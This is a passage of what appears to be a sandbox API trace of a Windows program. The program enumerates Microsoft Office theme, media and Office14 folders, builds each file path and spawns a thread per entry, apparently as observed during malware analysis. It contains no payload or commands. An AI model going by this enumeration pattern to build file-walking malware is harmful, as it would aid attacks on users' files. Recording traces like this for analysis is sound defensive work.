cFileName="Median.thmx", cAlternateFileName="MEDIAN~1.THM")) returned 1 [0062.065] wcscmp (_String1="Median.thmx", _String2=".") returned 1 [0062.065] wcscmp (_String1="Median.thmx", _String2="..") returned 1 [0062.065] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x12e2a438 [0062.065] wcscpy (in: _Dest=0x12e2a438, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.065] wcscat (in: _Dest=0x12e2a438, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.065] wcscat (in: _Dest=0x12e2a438, _Source="Median.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" [0062.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2a438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f4 [0062.066] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1910ec00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1910ec00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x13af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.thmx", cAlternateFileName="METRO~1.THM")) returned 1 [0062.066] wcscmp (_String1="Metro.thmx", _String2=".") returned 1 [0062.066] wcscmp (_String1="Metro.thmx", _String2="..") returned 1 [0062.066] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x5ec7148 [0062.066] wcscpy (in: _Dest=0x5ec7148, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.066] wcscat (in: _Dest=0x5ec7148, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.066] wcscat (in: _Dest=0x5ec7148, _Source="Metro.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" [0062.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec7148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f8 [0062.068] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1583a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.thmx", cAlternateFileName="MODULE~1.THM")) returned 1 [0062.068] wcscmp (_String1="Module.thmx", _String2=".") returned 1 [0062.068] wcscmp (_String1="Module.thmx", _String2="..") returned 1 [0062.068] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x12e2a4c8 [0062.068] wcscpy (in: _Dest=0x12e2a4c8, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.068] wcscat (in: _Dest=0x12e2a4c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.068] wcscat (in: _Dest=0x12e2a4c8, _Source="Module.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" [0062.068] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2a4c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12fc [0062.069] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e64dd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e64dd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.thmx", cAlternateFileName="NEWSPR~1.THM")) returned 1 [0062.069] wcscmp (_String1="Newsprint.thmx", _String2=".") returned 1 [0062.069] wcscmp (_String1="Newsprint.thmx", _String2="..") returned 1 [0062.069] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2a558 [0062.069] wcscpy (in: _Dest=0x12e2a558, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.069] wcscat (in: _Dest=0x12e2a558, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.069] wcscat (in: _Dest=0x12e2a558, _Source="Newsprint.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" [0062.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2a558, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1300 [0062.070] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f06cd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1f06cd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x132b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.thmx", cAlternateFileName="OPULEN~1.THM")) returned 1 [0062.070] wcscmp (_String1="Opulent.thmx", _String2=".") returned 1 [0062.070] wcscmp (_String1="Opulent.thmx", _String2="..") returned 1 [0062.070] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x12e2a5e8 [0062.070] wcscpy (in: _Dest=0x12e2a5e8, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.070] wcscat (in: _Dest=0x12e2a5e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.070] wcscat (in: _Dest=0x12e2a5e8, _Source="Opulent.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" [0062.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2a5e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1304 [0062.071] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x229a5400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x229a5400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x16ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.thmx", cAlternateFileName="ORIEL~1.THM")) returned 1 [0062.071] wcscmp (_String1="Oriel.thmx", _String2=".") returned 1 [0062.071] wcscmp (_String1="Oriel.thmx", _String2="..") returned 1 [0062.071] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x5ec71d0 [0062.072] wcscpy (in: _Dest=0x5ec71d0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.072] wcscat (in: _Dest=0x5ec71d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.072] wcscat (in: _Dest=0x5ec71d0, _Source="Oriel.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" [0062.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec71d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1308 [0062.073] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262ddb00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x262ddb00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1540b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.thmx", cAlternateFileName="ORIGIN~1.THM")) returned 1 [0062.073] wcscmp (_String1="Origin.thmx", _String2=".") returned 1 [0062.073] wcscmp (_String1="Origin.thmx", _String2="..") returned 1 [0062.073] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x12e2a678 [0062.073] wcscpy (in: _Dest=0x12e2a678, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.073] wcscat (in: _Dest=0x12e2a678, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.073] wcscat (in: _Dest=0x12e2a678, _Source="Origin.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" [0062.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2a678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130c [0063.987] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29c16200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29c16200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x421e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.thmx", cAlternateFileName="PAPER~1.THM")) returned 1 [0063.987] wcscmp (_String1="Paper.thmx", _String2=".") returned 1 [0063.987] wcscmp (_String1="Paper.thmx", _String2="..") returned 1 [0063.987] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x447c28 [0063.987] wcscpy (in: _Dest=0x447c28, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0063.987] wcscat (in: _Dest=0x447c28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0063.987] wcscat (in: _Dest=0x447c28, _Source="Paper.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" Thread: id = 114 os_tid = 0xbc8 [0045.974] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44a250 [0045.974] wcscpy (in: _Dest=0x44a250, _Source="C:\\Program Files\\Microsoft Office\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\MEDIA" [0045.974] wcscat (in: _Dest=0x44a250, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\" [0045.974] wcscat (in: _Dest=0x44a250, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\*") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\*" [0045.974] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x44e858 [0045.974] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\*", lpFindFileData=0x44e858 | out: lpFindFileData=0x44e858*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4403e0 [0048.485] wcscmp (_String1=".", _String2=".") returned 0 [0048.485] FindNextFileW (in: hFindFile=0x4403e0, lpFindFileData=0x44e858 | out: lpFindFileData=0x44e858*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.486] wcscmp (_String1="..", _String2=".") returned 1 [0048.486] wcscmp (_String1="..", _String2="..") returned 0 [0048.486] FindNextFileW (in: hFindFile=0x4403e0, lpFindFileData=0x44e858 | out: lpFindFileData=0x44e858*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10", cAlternateFileName="")) returned 1 [0048.486] wcscmp (_String1="CAGCAT10", _String2=".") returned 1 [0048.486] wcscmp (_String1="CAGCAT10", _String2="..") returned 1 [0048.486] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x420ee8 [0048.486] wcscpy (in: _Dest=0x420ee8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\MEDIA" [0048.486] wcscat (in: _Dest=0x420ee8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\" [0048.486] wcscat (in: _Dest=0x420ee8, _Source="CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0048.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x420ee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514 [0048.996] FindNextFileW (in: hFindFile=0x4403e0, lpFindFileData=0x44e858 | out: lpFindFileData=0x44e858*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0048.996] wcscmp (_String1="OFFICE14", _String2=".") returned 1 [0048.996] wcscmp (_String1="OFFICE14", _String2="..") returned 1 [0048.996] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x4212d8 [0048.996] wcscpy (in: _Dest=0x4212d8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\MEDIA" [0048.996] wcscat (in: _Dest=0x4212d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\" [0048.996] wcscat (in: _Dest=0x4212d8, _Source="OFFICE14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0048.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4212d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c [0048.998] FindNextFileW (in: hFindFile=0x4403e0, lpFindFileData=0x44e858 | out: lpFindFileData=0x44e858*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 0 [0048.998] FindClose (in: hFindFile=0x4403e0 | out: hFindFile=0x4403e0) returned 1 [0048.998] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e858) returned 1 [0048.998] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a250) returned 1 [0048.998] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413ee8) returned 1 Thread: id = 115 os_tid = 0xbcc [0045.976] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x452cd8 [0045.976] wcscpy (in: _Dest=0x452cd8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0045.976] wcscat (in: _Dest=0x452cd8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0045.976] wcscat (in: _Dest=0x452cd8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\*" [0045.976] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x452d40 [0045.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\*", lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ae8 [0045.976] wcscmp (_String1=".", _String2=".") returned 0 [0045.976] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.767] wcscmp (_String1="..", _String2=".") returned 1 [0048.767] wcscmp (_String1="..", _String2="..") returned 0 [0048.767] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0048.767] wcscmp (_String1="1033", _String2=".") returned 1 [0048.767] wcscmp (_String1="1033", _String2="..") returned 1 [0048.767] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x446328 [0048.767] wcscpy (in: _Dest=0x446328, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0048.767] wcscat (in: _Dest=0x446328, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0048.767] wcscat (in: _Dest=0x446328, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0049.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x446328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc [0049.068] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0049.068] wcscmp (_String1="1036", _String2=".") returned 1 [0049.068] wcscmp (_String1="1036", _String2="..") returned 1 [0049.068] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d320 [0049.068] wcscpy (in: _Dest=0x48d320, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.068] wcscat (in: _Dest=0x48d320, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.068] wcscat (in: _Dest=0x48d320, _Source="1036" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1036") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036" [0049.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x48d320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x888 [0049.069] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0049.070] wcscmp (_String1="3082", _String2=".") returned 1 [0049.070] wcscmp (_String1="3082", _String2="..") returned 1 [0049.070] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d388 [0049.070] wcscpy (in: _Dest=0x48d388, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.070] wcscat (in: _Dest=0x48d388, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.070] wcscat (in: _Dest=0x48d388, _Source="3082" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3082") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082" [0049.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x48d388, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x88c [0049.071] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x50ff7a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x1313b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDS.DLL", cAlternateFileName="")) returned 1 [0049.071] wcscmp (_String1="ACCDDS.DLL", _String2=".") returned 1 [0049.071] wcscmp (_String1="ACCDDS.DLL", _String2="..") returned 1 [0049.071] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x5e8e0f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x8d7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSF.DLL", cAlternateFileName="")) returned 1 [0049.071] wcscmp (_String1="ACCDDSF.DLL", _String2=".") returned 1 [0049.071] wcscmp (_String1="ACCDDSF.DLL", _String2="..") returned 1 [0049.071] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x5e8e0f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, 